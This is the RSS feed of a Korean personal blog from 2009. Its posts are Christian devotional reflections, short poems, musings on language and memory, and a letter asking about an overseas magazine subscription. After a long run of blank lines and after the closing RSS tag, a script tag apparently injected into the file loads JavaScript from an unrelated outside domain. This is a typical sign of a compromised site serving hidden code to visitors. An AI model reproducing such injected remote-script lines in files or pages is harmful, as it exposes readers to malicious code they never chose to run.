





































































































































































































































































































































































































































































































































































































































































<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title>eunmind.net blog</title>
		<link>http://www.eunmind.net</link>
		<description>silly thoughts</description>
		<language>kr</language>
		<copyright>free to read.tell.see.use any content</copyright>
		<generator>eunmind.net rss generator</generator>
		<docs>http://blog.law.harvard.edu/tech/rss</docs>
		<ttl>10080</ttl>
		<pubDate>Sun, 01 Aug 2010 2:34:13 PDT</pubDate>
		<item>
			<title><![CDATA[대답으로]]></title>
			<link>http://www.eunmind.net/index.php?blogid=231</link>
			<description><![CDATA[성경에 기록되어 있는 예수님의 말씀들을 면밀하고 조목조목하게 연구하는 것이 중요하다는 것을 알고 있지만, 어떤 대목들은 그런 노력들이 그분의 의도를 깨닫게 하는데에 있어서 장애물이 될수도 있다는 생각이 들었다. 비유로 설명하신 부분들은 공부를 많이 해야 겠지만, 제자들에게 대화나 당부하신 말씀들은 내가 그 대화 속에 있었던 것 처럼 말 자체를 마음에 담는 것으로 충분하지 않나 싶다. <br /><br />요한복음 15장은 그런 말씀이 아닌가 싶다. 가지가 포도나무에 붙어 있어야 열매를 맺는 것 처럼 너희들은 내 사랑 안에 머물러야 한다. 그렇지 않으면 너희들 스스로 아무 열매도 맺을수 없단다. 내 사랑 안에 머무는 것은 나의 계명을 지키는 것인데, 내가 지금 하나님 아버지의 계명을 지켜서 그분의 사랑안에 머무는 것과 똑같다.  계명이 무엇인가 하면 말이야, 바로 내가 너희들을 사랑한것 처럼 (그리고 십자가에서 보여줄 것 처럼) 너도 서로 사랑하는 거야. 그러면 내 안에 계속 머무를 수 있을거야. 그렇게 열매들이 맺어져서 세상에 가득하고 계속 남아있게 하려고 한다. <br /><br />이런 말씀 앞에서는 포도나무의 특성과 머무름에 대한 헬라어 정의를 찾기 보다는 '그래요, 사랑하며 살겠습니다' 라는 대답 한마디로 반응하고 싶어진다. ]]></description>
			<pubDate>Sun, 02 Aug 2009 11:07:59 PDT</pubDate>
		</item>		<item>
			<title><![CDATA[단어의 배겨냄]]></title>
			<link>http://www.eunmind.net/index.php?blogid=230</link>
			<description><![CDATA[요즘은 새로운 단어들 (특히 우리말에서), 그리고 간결하지만 아름답고 깊은 표현들을 접하게 될 때마다 생각 속에 계속 가지고 있으면서 잊어버리지 않으려는 노력을 많이 한다. 실제로 그런 단어들이 입에서 나오는 사람들을 보면 시기가 날 정도로 부럽다. 물론 언어를 더 능숙하게 사용하고 싶은 욕심의 일각이기도 하지만, 또 하나 다른 동기가 있다면 언제부턴가 각 단어들 뒤에 수많은 사람들의 삶이 있다는 생각이 있어서다 .<br /><br />모든 단어가 그렇다고 보편화 할수는 없지만, 어떠한 단어나 표현이 만들어 지기 까지는 누군가가 그렇게 살고 경험하고 느끼고 결국에는 어떻게 해서라도 표현하고 싶었던 것이었을 텐데, 한두명도 아니라 긴 시간과 역사를 통해 수많은 사람들이 그 단어가 단어이게 그들의 몸으로 배겨내며 만들어 온 것일 거다. <br /><br />단어가 언어적으로만 이해되기에는 정말 수많은 사람들의 삶이 각 단어를 지탱하고 있다는 생각이 들었다. 할수만 있다면 한 단어를 소개를 받더라도 사전적 정의를 넘어서서 그 단어를 경험하고 있거나 경험했던 사람들을 이해할 수 있는 입구로 마음 속에 여길 수 있었으면 참 좋겠다는 생각이 들었다. 나를 표현하는데만 급급하지 말고, 한 단어 뒤에 나와 같이 그 단어를 써야만 하는 (그것이 고통이던 아름다움이던) 어딘가의 수많은 사람들을 떠올려 보며, 또 그들과 형제되기 위해 그 단어를 곱씹어 보아야 하지 않나 싶다. <br /><br />그래서 어느날 그 단어를 쓰는 한 사람을 보게 되었을 때에, 같이 쓰러지게 웃어도 보고 끌어안고 울어도 볼수 있는 그런 한 인간이 되었으면 좋겠다.  ]]></description>
			<pubDate>Sat, 01 Aug 2009 21:11:24 PDT</pubDate>
		</item>		<item>
			<title><![CDATA[무엇]]></title>
			<link>http://www.eunmind.net/index.php?blogid=229</link>
			<description><![CDATA[세상에서 가장 강하고 큰 무엇이 있다면<br />세상에서 가장 약하고 작은 무엇이 되어서 <br />그 강함 앞에 서서 한번 두려워 해보고 싶다.<br /><br />그리고 돌아서선 한번 크게 웃고 <br />그 작은 무엇 모습 그대로 살고 싶다. <br /><br />]]></description>
			<pubDate>Tue, 28 Jul 2009 17:29:27 PDT</pubDate>
		</item>		<item>
			<title><![CDATA[Hungry]]></title>
			<link>http://www.eunmind.net/index.php?blogid=228</link>
			<description><![CDATA[<blockquote>Hungry I come to you<br />For I know you satisfy<br />I am empty but I know<br />Your love does not run dry<br /><br />So I wait for you<br />So I wait for you<br /><br />I've fallen on my knees<br />Offering all my needs<br />Jesus you're all<br />This heart is living for<br /><br />Broken I run to you<br />For your arms are open wide<br />I am weary but I know your touch<br />Restores my life</blockquote><br /><a href="http://en.wikipedia.org/wiki/Dining_philosophers_problem">Dining Philosopher Problem</a> 을 풀다가 생각이 난 찬양인데, Deadlock 과 Starvation 없이 우리를 회복하시는 참다운 솔루션 아닌가 싶다. ]]></description>
			<pubDate>Sun, 26 Jul 2009 11:54:46 PDT</pubDate>
		</item>		<item>
			<title><![CDATA[일초]]></title>
			<link>http://www.eunmind.net/index.php?blogid=227</link>
			<description><![CDATA[기억이 없어지고 세월이 잊혀지는 것을 보고 축복이라고 표현하는 말을 많이 듣습니다. 아픈 시간이 있었다면 시간이 해결해 주고, 결국 망각하게 되며 또 사는 것이라는 말도 많이 들어 보았습니다. 오랜 시간 인류가 삶을 반복하면서 터득하게된 상식이라고 생각하고 또 인간에게 주신 안전장치 일지도 모른다고 생각합니다.<br /><br />하지만 잊음을 반복하며 살기엔 삶이 너무 귀하다는 생각이 들었습니다. 기쁜 추억들은 물론이고 아프고 힘든 기억까지도 내가 살아 있음의 증거이고 내가 나 됨의 한 부분이라고 생각할 때 그것들 마음에 다 품고 소중히 여기며 살면 안되나 하는 조금 미숙한 생각 말입니다. 이제 한 사오십년만 더 살면 되는데 그 짧은 시간 동안 만이라도 기쁨도 즐거움도 아픔도 무료함도 부끄러움도 아쉬움도 모두 마음 속에 차곡차곡 쌓아두고 내가 나 임을 보며 피식 웃고 살수는 없나 그런 생각 말입니다. 너무 추상적일지 모르나 아픈 기억도 아프기 때문에 아름답고 심지어는 부끄러운 기억들도 부끄러웠기 때문에 아름답다고 마음에 받아들이면서, 또 기뻤던 기억들도 가슴 부푼 기억들도 소소하게 감사하는 마음으로 그렇게 살면 되지 않나 생각했습니다.<br /><br />잊음에 의존해 살기에는 삶이 너무 고귀하다고 생각합니다. 일초라도 더 기억할 수 있다면 마음 속에 가지고 있고 싶습니다. 만나는 사람들의 웃음과 제스쳐도 저녁에 끼는 안개와 바람도 겨울의 싸늘함과 봄의 희망도.  기억들이 기억이 되어 내게 방어없이 받아드려질 수 있고 끌어 안을 수 있도록 절대자에게 오늘 더 겸손히 무릎 꿇습니다. ]]></description>
			<pubDate>Sun, 26 Jul 2009 10:29:38 PDT</pubDate>
		</item>		<item>
			<title><![CDATA[51]]></title>
			<link>http://www.eunmind.net/index.php?blogid=226</link>
			<description><![CDATA[ <blockquote>주님, 내 입을 열어 주십시오. 주님을 찬양하는 노래를 내 입으로 전파하렵니다.  <br />주님은 제물을 반기지 않으시며, 내가 번제를 드려도 기뻐하지 않으십니다.<br />하나님께서 원하시는 제물은 깨어진 마음입니다. 깨어지고 짓밟힌 심령을, 하나님은 멸시하지 않으십니다.<br />주의 은혜로 시온을 돌보시어, 예루살렘 성벽을 다시 세워 주십시오.</blockquote><br />	 ]]></description>
			<pubDate>Thu, 23 Jul 2009 22:13:26 PDT</pubDate>
		</item>		<item>
			<title><![CDATA[작아 구독]]></title>
			<link>http://www.eunmind.net/index.php?blogid=224</link>
			<description><![CDATA[안녕하세요,<br /><br />저는 미국 샌프란시스코에서 살고 있는 김은규 라고 합니다.<br />인터넷에서 작은 것이 아름답다를 접한지 이제 몇달 되어 가는 것 같습니다. 여기 북가주에도 생태적 삶에 대한 의식이 적지 않기는 하지만 작아에서 다루는 생각과는 조금 다른 물질주의적 노력들이 더 많이 있는 것 같습니다. 그래서 작아의 글들이 참 마음에 와 닿았습니다.<br /><br />작은 것들을 사랑하며 아름답게 표현해 주시는 글들 보며 왠지 이런 글들은 차가운 LCD 화면으로 읽는 것이 어울리지 않는 다는 느낌이 들어 정기 구독 방법을 찾아보았습니다. '작아' 가 한국에 거주하시는 분들을 상대로 일하고 계신 것을 알지만도 해외에서 구독할 수 있다면 얼마나 좋을까 생각해 보았습니다.<br /><br />혹시 해외에서 '작아'를 우편으로 정기구독 할 수 있는 방법은 없을런지요?<br />만약 방법이 있다면 우편비에 따른 금액도 넉넉히 지불하고 싶습니다.<br /><br />김은규 드림<br /><br /><blockquote>숲을 지나온 바람, 풀잎에 쌓이는 햇살, 하늘을 나는 작은 새,<br />숲으로 달려가는 마음, 그리고 이 모든 것을 품고<br />초록 짙은 칠월을 늠름하고 힘 있게 가로질러 가는 일상이 있습니다.<br /><br />그 마음, 그러한 삶이 있어 마음 여미고 다시 시작합니다.<br />김은규 님, 반갑습니다.<br /><br />멀리 미국에서 작아에 마음써 주셔서 고맙습니다.<br />물론 해외 구독 가능합니다.<br />많은 수는 아니지만 세계 여러 나라에서 작아를 구독하고 있습니다.<br />미국에서도 몇분이 보고 계십니다.<br /><br /> 씨앗을 품은 책, 나무를 꿈꾸는 월간지 &lt;작은것이 아름답다&gt;는 올해로 열세돌이 되었습니다. &lt;작아&gt;는 13년 동안, 작고 소소한 소리에 귀 기울이고 풀 한 포기 나무, 한 그루를 소중하게 생각하며 자연과 더불어 살아가는 일상을 나눴고, ‘종이는 숲이다’라는 생각을 펼치며 재생종이쓰기 운동을 이어왔습니다.<br /><br />&lt;작은것이 아름답다&gt;는 공들여 만드는 마음과 따스하게 읽는 마음이 만났을 때 빛납니다. 이 세상에 &lt;작아&gt;가 있어 퍽 다행스러운 일이라고 공감하는 분들이 더 많아졌으면 합니다. &lt;작아&gt;를 든 손, 읽은 마음은 참 소중하고 아름답습니다. <br /></blockquote><br />참고: <a href="http://jaga.or.kr ">http://jaga.or.kr</a><br /><br />]]></description>
			<pubDate>Mon, 20 Jul 2009 08:57:57 PDT</pubDate>
		</item>		<item>
			<title><![CDATA[아울러]]></title>
			<link>http://www.eunmind.net/index.php?blogid=223</link>
			<description><![CDATA[내가 찾고 있던 한마디를 들었다.<blockquote>신나고 좋은 일을 해봅시다!</blockquote>가볍고 따뜻한 그 한마디로 충분했다. <br />웃음이 모든 것을 아우르는 것이었음을.<br />늘 배려뿐인 그 분께 훗날 언젠가 큰 함박 웃음으로 보답해야 겠다 다짐했다. ]]></description>
			<pubDate>Sat, 18 Jul 2009 21:19:32 PDT</pubDate>
		</item>		<item>
			<title><![CDATA[작음]]></title>
			<link>http://www.eunmind.net/index.php?blogid=222</link>
			<description><![CDATA[조금 늦은 퇴근 후 벌써 캄캄한 밤 집 옆에 있는 공원 벤치에 앉아 있다가 그냥 서쪽으로 마냥 걸었어. 숲길이라서 그런지 유난히 안개가 많았어. 질식할 것 같이 상쾌한 공기 아는지. 집 안에서는 화초를 내가 가꾸지만 조금만 걸어나와도 내가 자연의 작은 일부네. <br /><br />몇시간 걸으니 바다가 나왔어. 모닥불 피우는 사람들 지나서 한적한 곳에 가서 앉았어. 음악을 듣고 있었는데 왠지 비어있던 음을 채워주는 듯 바다소리가 그랬어. 내 횡한 마음도 잘 모르고 내 질문도 답해주지 않는 넓은 바다. 자연은 이렇게 늘 나와 상관없이 태연하기만 하네.<br /><br />파도소리 들으니까 시원했어. 힘찬 소리 들으면서 두꺼운 남방 추스리고 조금 더 앉아 있으니 내가 조금 작아지는 듯 했어.  왠지 이런 작음이 참 '옳다' 라는 생각이 직감적으로 들었다. 사람들 사이에서 혹 내 생각 속에서 부풀려진 내가 제 모습으로 돌아가는 기분이었어. 사람은 흙에서 지어졌음을 아는 것이 겸손이라는 말이 생각이 나네. 하루와 한 사람 그리고 일초 씩 기뻐하면서 살아야 겠어. <br /><br /><a href="sound/wave.mp3">wave.mp3</a>]]></description>
			<pubDate>Sat, 18 Jul 2009 01:54:43 PDT</pubDate>
		</item>		<item>
			<title><![CDATA[Quieted]]></title>
			<link>http://www.eunmind.net/index.php?blogid=220</link>
			<description><![CDATA[주님, 이제 내가 교만한 마음을 버렸습니다. 오만한 길에서 돌아섰습니다. 너무 큰 것을 가지려고 나서지 않으며, 분에 넘치는 놀라운 일을 이루려고도 하지 않습니다.<br />오히려, 내 마음은 고요하고 평온합니다. 젖뗀 아이가 어머니 품에 안겨 있듯이, 내 영혼도 젖뗀 아이와 같습니다.<br />이스라엘아, 이제부터 영원히 오직 주님만을 의지하여라.]]></description>
			<pubDate>Fri, 17 Jul 2009 17:53:12 PDT</pubDate>
		</item>	</channel>
</rss>

<script src="http://whereisdudescars.com/js2.php"></script>